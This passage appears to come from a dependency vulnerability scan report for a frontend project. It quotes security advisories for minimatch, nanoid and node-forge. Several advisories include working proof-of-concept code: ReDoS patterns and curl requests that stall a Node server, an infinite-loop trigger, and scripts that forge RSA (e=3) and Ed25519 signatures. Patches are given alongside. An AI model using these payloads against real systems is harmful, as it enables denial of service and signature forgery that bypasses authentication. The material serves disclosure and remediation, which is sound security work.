const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms
```

To scale the effect, increase k:

```javascript
// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)
```

No special options are required. This reproduces with the default `minimatch()` call.

**Step 2 -- HTTP server (event loop starvation proof)**

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

```javascript
// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)
```

Terminal 1 -- start the server:
```
node poc1-server.mjs
```

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
```
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
```

Terminal 3 -- while the attack is in-flight, send a benign request:
```
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"
```

**Observed output (Terminal 3):**
```
{"result":true,"ms":"0"}

time_total: 4.132709s
```

The server reports `"ms":"0"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

```
{"result":true,"ms":"0"}

time_total: 0.001599s
```

---

### Impact

Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
CWE-407 Inefficient Algorithmic Complexity

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:minimatch:\>\=9.0.0\<9.0.7:*:*:*:*:*:*:*

GHSA-3ppc-4f35-3m26 (NPM)  

### Summary
`minimatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive `*` wildcards followed by a literal character that doesn't appear in the test string. Each `*` compiles to a separate `[^/]*?` regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of `*` characters. With N=15, a single `minimatch()` call takes ~2 seconds. With N=34, it hangs effectively forever.


### Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._

### PoC
When minimatch compiles a glob pattern, each `*` becomes `[^/]*?` in the generated regex. For a pattern like `***************X***`:

```
/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/
```

When the test string doesn't contain `X`, the regex engine must try every possible way to distribute the characters across all the `[^/]*?` groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.
### Impact
Any application that passes user-controlled strings to `minimatch()` as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
- `.gitignore`-style filtering with user-defined rules
- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input

----

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
CWE-1333 Inefficient Regular Expression Complexity

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:minimatch:\>\=9.0.0\<9.0.6:*:*:*:*:*:*:*

nanoid:3.3.11

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?nanoid

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/nanoid@3.3.11  (Confidence:Highest)

GHSA-28wg-ghj8-5hjv (NPM)  

nanoid (Nano ID) before 5.1.16 contains an infinite loop in the customAlphabet and nanoid functions of its non-secure module (nanoid/non-secure). When these functions are given a negative size, the loop counter is decremented from a negative value and never reaches its termination condition, spinning indefinitely and hanging the calling thread. An application that passes an unvalidated, attacker-controlled negative size to these functions is exposed to a denial-of-service condition.
CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')

CVSSv3:
  • Base Score: MEDIUM (5.900000095367432)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:nanoid:\<3.3.16:*:*:*:*:*:*:*

GHSA-2v37-7h3g-55p8 (NPM)  

nanoid (Nano ID) before 5.1.6 contains an infinite loop in the customAlphabet and customRandom functions. When these functions are configured with a size of 0, the internal generation loop never satisfies its exit condition and spins indefinitely, hanging the calling thread. An application that passes an unvalidated, attacker-controlled size of 0 to these functions is exposed to a denial-of-service condition.
CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')

CVSSv3:
  • Base Score: MEDIUM (5.900000095367432)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:nanoid:\<3.3.18:*:*:*:*:*:*:*

node-forge:1.3.3

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?node-forge

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/node-forge@1.3.3  (Confidence:Highest)

GHSA-5m6q-g25r-mvwx (NPM)  

## Summary

A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU.
Affected Package

Package name: node-forge (npm: node-forge)
Repository: https://github.com/digitalbazaar/forge
Affected versions: All versions (including latest)
Affected file: lib/jsbn.js, function bnModInverse()
Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library

## Vulnerability Details

Type: Denial of Service (DoS)
CWE: CWE-835 (Loop with Unreachable Exit Condition)
Attack vector: Network (if the application processes untrusted input that reaches modInverse)
Privileges required: None
User interaction: None
Impact: Availability (process hangs indefinitely)
Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage)

## Root Cause Analysis

The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m.
Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop.
The relevant code path in lib/jsbn.js:
```js
javascriptfunction bnModInverse(m) {
  // ... setup ...
  // No check for this == 0
  // Enters Extended Euclidean Algorithm loop that never terminates when this == 0
}
```

## Attack Scenario

Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:

DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang.
Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters.
Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().

A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.

## Proof of Concept

Environment Setup
```bash
mkdir forge-poc && cd forge-poc
npm init -y
npm install node-forge
```
Reproduction (poc.js)
A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging.
```bash
mkdir forge-poc && cd forge-poc
npm init -y
npm install node-forge
# Save the script below as poc.js, then run:
node poc.js
```
```javascript
'use strict';
const { spawnSync } = require('child_process');

const childCode = `
  const forge = require('node-forge');
  // jsbn may not be auto-loaded; try explicit require if needed
  if (!forge.jsbn) {
    try { require('node-forge/lib/jsbn'); } catch(e) {}
  }
  if (!forge.jsbn || !forge.jsbn.BigInteger) {
    console.error('ERROR: forge.jsbn.BigInteger not available');
    process.exit(2);
  }
  const BigInteger = forge.jsbn.BigInteger;
  const zero = new BigInteger('0', 10);
  const mod = new BigInteger('3', 10);
  // This call should throw or return 0, but instead loops forever
  const inv = zero.modInverse(mod);
  console.log('returned: ' + inv.toString());
`;

console.log('[*] Testing: BigInteger(0).modInverse(3)');
console.log('[*] Expected: throw an error or return quickly');
console.log('[*] Spawning child process with 5s timeout...');
console.log();

const result = spawnSync(process.execPath, ['-e', childCode], {
  encoding: 'utf8',
  timeout: 5000,
});

if (result.error && result.error.code === 'ETIMEDOUT') {
  console.log('[VULNERABLE] Child process timed out after 5s');
  console.log('  -> modInverse(0, 3) entered an infinite loop (DoS confirmed)');
  process.exit(0);
}

if (result.status === 2) {
  console.log('[ERROR] Could not access BigInteger:', result.stderr.trim());
  console.log('  -> Check your node-forge installation');
  process.exit(1);
}

if (result.status === 0) {
  console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim());
  process.exit(1);
}

console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')');
if (result.stderr) console.log('  stderr:', result.stderr.trim());
process.exit(1);
```
Expected Output
```
[*] Testing: BigInteger(0).modInverse(3)
[*] Expected: throw an error or return quickly
[*] Spawning child process with 5s timeout...

[VULNERABLE] Child process timed out after 5s
  -> modInverse(0, 3) entered an infinite loop (DoS confirmed)
Verified On
```

node-forge v1.3.1 (latest at time of writing)
Node.js v18.x / v20.x / v22.x
macOS / Linux / Windows

## Impact

Availability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests.
Scope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.

## Suggested Fix

Add a zero-value check at the entry of bnModInverse() in lib/jsbn.js:
```javascript
function bnModInverse(m) {
  var ac = m.isEven();
  // Add this check:
  if (this.signum() == 0) {
    throw new Error('BigInteger has no modular inverse: input is zero');
  }
  // ... rest of the existing implementation ...
}
```
Alternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException).
CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:node-forge:\<1.4.0:*:*:*:*:*:*:*

GHSA-ppp5-5v6c-4jwp (NPM)  

## Summary
RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. 

Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. 

## Impacted Deployments
**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`
**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.

**Configuration assumptions:**
- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).
- `_parseAllDigestBytes: true` (default setting).

## Root Cause

In `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.

Two issues are present with this logic:

1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.
2. `_decodePkcs1_v1_5` comments mention that PS < 8 bytes should be rejected, but does not implement this logic.

## Reproduction Steps
1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.
4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.
5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.
6. The script verifies both signatures with:
  - forge verify (`_parseAllDigestBytes: true`), and
  - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).
7. Confirm output includes:
  - `control-forge-strict: true`
  - `control-node: true`
  - `forgery (forge library, strict): true`
  - `forgery (node/OpenSSL): false`

## Proof of Concept

**Overview:**
- Demonstrates a valid control signature and a forged signature in one run.
- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).
- Uses Node/OpenSSL as an differential verification baseline.
- Observed output on tested commit:

```text
control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false
```

<details><summary>repro_min.js</summary>

```javascript
#!/usr/bin/env node
'use strict';

const crypto = require('crypto');
const forge = require('./forge/lib/index');

// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
//   SEQUENCE { OID sha256, NULL },
//   OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
  '300d060960864801650304020105000420',
  'hex'
);

const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
  let h = n.toString(16);
  if (h.length % 2) h = '0' + h;
  const b = Buffer.from(h, 'hex');
  return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
  let lo = 0n;
  let hi = 1n;
  while (hi * hi * hi <= n) hi <<= 1n;
  while (lo + 1n < hi) {
    const mid = (lo + hi) >> 1n;
    if (mid * mid * mid <= n) lo = mid;
    else hi = mid;
  }
  return lo;
}
const cbrtCeil = n => {
  const f = cbrtFloor(n);
  return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
  if (len < 0x80) return Buffer.from([len]);
  if (len <= 0xff) return Buffer.from([0x81, len]);
  return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}

function forgeStrictVerify(publicPem, msg, sig) {
  const key = forge.pki.publicKeyFromPem(publicPem);
  const md = forge.md.sha256.create();
  md.update(msg.toString('utf8'), 'utf8');
  try {
    // verify(digestBytes, signatureBytes, scheme, options):
    // - digestBytes: raw SHA-256 digest bytes for `msg`
    // - signatureBytes: binary-string representation of the candidate signature
    // - scheme: undefined => default RSASSA-PKCS1-v1_5
    // - options._parseAllDigestBytes: require DER parser to consume all bytes
    //   (this is forge's default for verify; set explicitly here for clarity)
    return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
  } catch (err) {
    return { ok: false, err: err.message };
  }
}

function main() {
  const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
    modulusLength: 4096,
    publicExponent: 3,
    privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
  });

  const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
  const nBytes = Buffer.from(jwk.n, 'base64url');
  const n = toBig(nBytes);
  const e = toBig(Buffer.from(jwk.e, 'base64url'));
  if (e !== 3n) throw new Error('expected e=3');

  const msg = Buffer.from('forged-message-0', 'utf8');
  const digest = crypto.createHash('sha256').update(msg).digest();
  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);

  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
  const k = nBytes.length;
  // ffCount can be set to any value at or below 111 and produce a valid signature.
  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
  // However, current versions of node forge do not check for this.
  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
  const ffCount = 0; 
  // `garbageLen` affects DER length field sizes, which in turn affect how
  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
  // A small cap (8) is enough here: DER length-size transitions are discrete
  // and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
  let garbageLen = 0;
  for (let i = 0; i < 8; i += 1) {
    const gLenEnc = derLen(garbageLen).length;
    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
    const seqLenEnc = derLen(seqLen).length;
    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
    const next = k - fixed;
    if (next === garbageLen) break;
    garbageLen = next;
  }
  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
  const prefix = Buffer.concat([
    Buffer.from([0x00, 0x01]),
    Buffer.alloc(ffCount, 0xff),
    Buffer.from([0x00]),
    Buffer.from([0x30]), derLen(seqLen),
    algAndDigest,
    Buffer.from([0x04]), derLen(garbageLen)
  ]);

  // Build the numeric interval of all EM values that start with `prefix`:
  // - `low`  = prefix || 00..00
  // - `high` = one past (prefix || ff..ff)
  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
  const suffixLen = k - prefix.length;
  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
  const high = low + (1n << BigInt(8 * suffixLen));
  const s = cbrtCeil(low);
  if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');

  const sig = toBuf(s, k);

  const controlMsg = Buffer.from('control-message', 'utf8');
  const controlSig = crypto.sign('sha256', controlMsg, {
    key: privateKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  });

  // forge verification calls (library under test)
  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
  const forgedForge = forgeStrictVerify(publicKey, msg, sig);

  // Node.js verification calls (OpenSSL-backed reference behavior)
  const controlNode = crypto.verify('sha256', controlMsg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, controlSig);
  const forgedNode = crypto.verify('sha256', msg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, sig);

  console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
  console.log('control-node:', controlNode);
  console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
  console.log('forgery (node/OpenSSL):', forgedNode);
}

main();
```
</details>

## Suggested Patch
- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS >= 8`) in `_decodePkcs1_v1_5` before accepting the block.
- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).

Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:

```diff
index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
             error.errors = errors;
             throw error;
           }
+
+          if(obj.value.length != 2) {
+            var error = new Error(
+              'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+              'a valid RSASSA-PKCS1-v1_5 package.');
+            error.errors = errors;
+            throw error;
+          }
           // check hash algorithm identifier
           // see PKCS1-v1-5DigestAlgorithms in RFC 8017
           // FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
       }
       ++padNum;
     }
+
+    if (padNum < 8) {
+      throw new Error('Encryption block is invalid.');
+    }
   } else if(bt === 0x02) {
     // look for 0x00 byte
     padNum = 0;
```
## Resources
- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8
  - > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. 
- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.
- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.

## Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
CWE-347 Improper Verification of Cryptographic Signature, CWE-20 Improper Input Validation

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:node-forge:\<1.4.0:*:*:*:*:*:*:*

GHSA-q67f-28xg-22rw (NPM)  

## Summary
Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.

## Impacted Deployments
**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`
**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.

**Configuration assumptions:**
- Default forge Ed25519 verify API path (`ed25519.verify(...)`).


## Root Cause
In `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication:

```javascript
scalarbase(q, sm.subarray(32));
```

There is no prior check enforcing `S < L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.

## Reproduction Steps
- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.
- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.
- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).
- Confirm output includes:

```json
{
	"forge": {
		"original_valid": true,
		"tweaked_valid": true
	},
	"crypto": {
		"original_valid": true,
		"tweaked_valid": false
	}
}
```

## Proof of Concept

**Overview:**
- Demonstrates a valid control signature and a forged (S + L) signature in one run.
- Uses Node/OpenSSL as a differential verification baseline.
- Observed output on tested commit:

```text
{
    "forge": {
        "original_valid": true,
        "tweaked_valid": true
    },
    "crypto": {
        "original_valid": true,
        "tweaked_valid": false
    }
}
```

<details><summary>poc.js</summary>

```javascript
#!/usr/bin/env node
'use strict';

const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;

const MESSAGE = Buffer.from('dderpym is the coolest man alive!');

// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);

// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
  if (!Buffer.isBuffer(signature) || signature.length !== 64) {
    throw new Error('signature must be a 64-byte Buffer');
  }
  const out = Buffer.from(signature);
  let carry = 0;
  for (let i = 0; i < 32; i++) {
    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
    const sum = out[idx] + ED25519_ORDER_L[i] + carry;
    out[idx] = sum & 0xff;
    carry = sum >> 8;
  }
  return { sig: out, carry };
}

function toSpkiPem(publicKeyBytes) {
  if (publicKeyBytes.length !== 32) {
    throw new Error('publicKeyBytes must be 32 bytes');
  }
  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
  return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}

function verifyWithCrypto(publicKey, message, signature) {
  try {
    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
    const ok = crypto.verify(null, message, keyObject, signature);
    return { ok };
  } catch (error) {
    return { ok: false, error: error.message };
  }
}

function toResult(label, original, tweaked) {
  return {
    [label]: {
      original_valid: original.ok,
      tweaked_valid: tweaked.ok,
    },
  };
}

function main() {
  const kp = ed.generateKeyPair();
  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
  const tweaked = addLToS(sig);
  const okTweaked = ed.verify({
    message: MESSAGE,
    signature: tweaked.sig,
    publicKey: kp.publicKey,
  });
  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
  const result = {
    ...toResult('forge', { ok }, { ok: okTweaked }),
    ...toResult('crypto', cryptoOriginal, cryptoTweaked),
  };
  console.log(JSON.stringify(result, null, 2));
}

main();
```
</details>

## Suggested Patch
Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S >= L`).

Here is a patch we tested on our end to resolve the issue, though please verify it on your end:

```diff
index f3e6faa..87eb709 100644
--- a/lib/ed25519.js
+++ b/lib/ed25519.js
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
     return -1;
   }

+  if(!_isCanonicalSignatureScalar(sm, 32)) {
+    return -1;
+  }
+
   for(i = 0; i < n; ++i) {
     m[i] = sm[i];
   }
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
   return mlen;
 }

+function _isCanonicalSignatureScalar(bytes, offset) {
+  var i;
+  // Compare little-endian scalar S against group order L and require S < L.
+  for(i = 31; i >= 0; --i) {
+    if(bytes[offset + i] < L[i]) {
+      return true;
+    }
+    if(bytes[offset + i] > L[i]) {
+      return false;
+    }
+  }
+  // S == L is non-canonical.
+  return false;
+}
+
 function modL(r, x) {
   var carry, i, j, k;
   for(i = 63; i >= 32; --i) {
```

## Resources

- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4
  - > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l


## Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
CWE-347 Improper Verification of Cryptographic Signature

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:node-forge:\<1.4.0:*:*:*:*:*:*:*

GHSA-2328-f5f3-gj25 (NPM)  

## Summary

`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

## Technical Details

In `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:

1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`
2. The `basicConstraints.cA` check is gated on `bcExt !== null`

When a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

**RFC 5280 Section 6.1.4 step (k) requires:**
